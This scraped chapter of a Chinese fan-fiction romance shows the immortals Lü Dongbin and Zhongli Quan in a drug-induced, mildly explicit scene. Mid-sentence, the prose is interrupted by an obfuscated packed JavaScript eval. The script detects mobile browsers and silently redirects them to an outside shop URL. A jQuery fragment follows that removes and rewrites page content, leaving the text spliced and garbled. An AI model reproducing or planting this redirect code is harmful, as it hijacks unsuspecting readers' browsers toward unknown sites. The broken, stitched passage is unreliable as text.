文趣网 > 其他小说 > 我依旧在这里等你 [宾权] > 10. 邪药(2)
    “师兄还有何事?”

    吕洞宾又问了一遍,语气平淡,似是有些费解。

    钟离权哪里还忍受得了。

    他手上那点小的疤都要龇牙咧嘴痛半年,更别说现在这种万蚁噬心的折磨了。

    他真是浑身都痒得不行,欲.望驱使着他扶着墙壁爬过去,芭蕉扇啪嗒一声落在地上。他下一秒,他软绵绵的身体已落到了纯阳身上。

    “帮我……洞宾儿……纯阳,救救你师兄吧。”

    他虚弱地抓着吕洞宾的手臂,期期艾艾地喘着气。

    “钟离权,你清醒一点。”

    “不准……叫我名字,叫师兄……”

    “师兄。”吕洞宾叹了口气,将他身子转过来,默然道:“到底要我怎么帮你?”

    钟离权一听他松了口,立刻手脚并用地粘在他身上,像在寒冬抱着生热的火炉一样。他手臂从他肩上滑落下来,拉着他的手向下探——

    “帮我……这里,很快的……”

    吕洞宾手一僵。

    方才为他上药、涂抹是一回事,但现下又是另一回事。

    他皱眉开口:“这不合礼数。师兄怎能这样对我?我帮不了。”

    说着,他冷脸就要将钟离权从他身上拉下来。

    “别……洞宾,你就我帮帮我这回……”

    “松手。”

    就在此时,一个虚空镜霎时出现在门口,熟悉的声音在二人耳边响起。

    “师父! !”

    韩湘子兴奋的脸在虚空镜那头探出来。

    自去年那一劫过后,他就被封为清和妙道真君了。他时不时就会给钟离权打个虚空台过来,看看他在干嘛。

    韩湘子一开虚空镜就打开了话闸子,说个不停:“师父!无心昌姐姐过几天说要来蓬莱仙岛,要不我和她一起来找你玩!诶,怎么纯阳哥哥也在?”

    闻言,铁拐李骂骂咧咧地凑过来,蓝采和挂在他肩头,也兴致勃勃地钻进虚空镜:“啥子嘞?钟离权儿跟洞宾儿在一块儿?搞啥子名堂不喊我们嗦。都当仙了也不晓得在忙啥子,这么久都不来找我们耍。莫得搞!”

    铁拐李话还没说完,一愣。

    等他看清楚这边黏黏糊糊的情形后,才意识到自己看到了什么,吓得啪嗒一声把虚空镜关掉了:“我去!这两个光天化日下在干啥子!少儿不宜少儿不宜,转过切不要看!”

    他拉着韩湘子和蓝采和消失时,还不忘分别给曹国舅和何仙姑传了个飞信过去,信件大旨大致是“蓬莱钟南山两大徒弟不伦师门不幸这俩玩儿得真花”等等。

    虚空镜突然出现,又登时消失。

    一切发生得太快,房里才喧闹不停,这下又宁静下来,静得只能听见钟离权虚弱的哀求声,还有被他挂在身上无法动弹的吕洞宾隐忍的呼吸。

    钟离权早就意识不清,压根不知道方才透过虚空镜,他这副模样已被另外几位仙看了个一干二净。

    他仍哀哀切切地拽着吕洞宾的胳膊,说什么也不肯从他身上下来:“就这一次……你最仗义了……”

    “我帮师兄做的事不少。但这回我帮不了。”

    “纯阳……就当我求求你了嘛,帮我一这一次行不。”

    钟离权很是无赖地扒拉着他,作势还将他推倒在地。桌角的香盆和放玉净瓶碎片的罐子都被他打翻了。

    “师兄又开始不讲道理。”

    吕洞宾护着他的头,以免他头磕到地上,抽出一只手面无表情地将玉净瓶碎片放回去,凝决将盒子安然地放到高处。

    “都这时候了……还什么道理不道理的。你就说你帮不帮吧!”钟离权羞愤致死,嘟囔道。

    吕洞宾沉默半晌,平静开

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17825706|211250||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    口:“那今日师兄拉我做了这事,之后师兄可认?”

    钟离权连连应声,齿间稀碎的声音盖过了他的应答,但他湿润的睫毛轻颤,已说明了他的回答。

    吕洞宾扬起的手臂缓缓垂下去,似是败给他一般,微叹了声。

    “好。”

    他将钟离权扶着坐起来,令他的重量倾斜在自己身上,带他去床榻上躺好。

    “这是师兄要求我的。”

    吕洞宾沉声道,静静地看着他。

    他取下斗笠,将外衣放在藤椅上,又走回来,坐在钟离权身旁。

    钟离权感受到他微凉的指尖后,就消停了许多,还要伸手上来抓住他的指节,加深他的动作。

    吕洞宾伸出另一只手,止住他不安分的手。

    “师兄若想让我继续,就不要乱动。”

    他俯身下来,垂眼开口。

    钟离权怕他真停下来,便乖觉地躺好,不再动弹了,神情又揪心又舒爽,时不时哼哼两声。

    随着吕洞宾的动作,他胸膛也剧烈地上下起伏着,呼吸紊乱。

    “你放松。”

    “呃……嗯,对……”钟离权舒服得眯起眼,双手撑着床垫,身体微微弓起来。

    终于到一个令他极致畅快的时刻,他按捺不住内心的狂热,伸手将吕洞宾拉下来,重重的呼吸洒在对方面上:“嗯……”

    他感觉对方的呼吸也变得灼热起来,手下的动作僵住,任由流逝之物缓缓流去。

    在钟离权意识完全模糊前,他只觉自己的唇角边沾上了不属于自己的薄凉——有些温存,又似乎沾染了些欲望的味道。

    兴许是他的错觉。但这气息却熟悉得他难以说服自己忽视掉。

    他愧疚地想,等醒来,真要好好补偿补偿洞宾儿,把他这做师兄的面子给挣回来。真是好生丢脸。